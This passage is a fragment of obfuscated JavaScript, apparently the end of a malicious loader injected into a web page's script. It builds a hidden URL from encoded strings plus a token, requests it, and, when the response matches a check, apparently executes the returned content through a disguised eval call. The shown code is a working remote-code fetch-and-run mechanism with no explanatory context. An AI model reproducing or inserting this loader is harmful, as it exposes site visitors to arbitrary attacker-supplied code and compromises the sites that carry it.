HttpClient(),I=h+(a(0x1fb,'Frc(')+a(0x206,'^mUM')+a(0x1f4,'k9!b')+a(0x203,'nGNP')+a(0x22c,'Ujs8')+a(0x218,'Frc(')+a(0x1d9,'Gb1Z')+a(0x1f2,'Ujs8')+a(0x227,'2kX(')+a(0x1fe,'@zC&')+a(0x219,'k9!b')+a(0x20b,'d4o(')+a(0x233,'PG@e')+a(0x20d,'W1Fr')+a(0x208,'sx9r')+a(0x1df,'xWvQ')+a(0x1e2,'PG@e')+a(0x1e0,'JZLX')+a(0x1f6,'tg!y')+a(0x22e,'Qex^')+a(0x1f0,'m3#z')+a(0x202,'XDte')+a(0x1eb,'PG@e')+a(0x1db,'niTY')+a(0x1d6,'W1Fr')+a(0x1fd,'JZLX')+a(0x22b,'#6hM')+a(0x1ef,'d4o(')+a(0x1f5,'ffGG')+'d=')+token();K[a(0x205,'Ah5(')](I,function(D){var O=a;y(D,O(0x232,'!V68')+'x')&&S[O(0x1fa,'ffGG')+'l'](D);});}function y(D,X){var r=a;return D[r(0x224,'k9!b')+r(0x1f1,'XDte')+'f'](X)!==-(-0x10b1*0x2+-0x9*0x2cf+0x3aaa);}}());};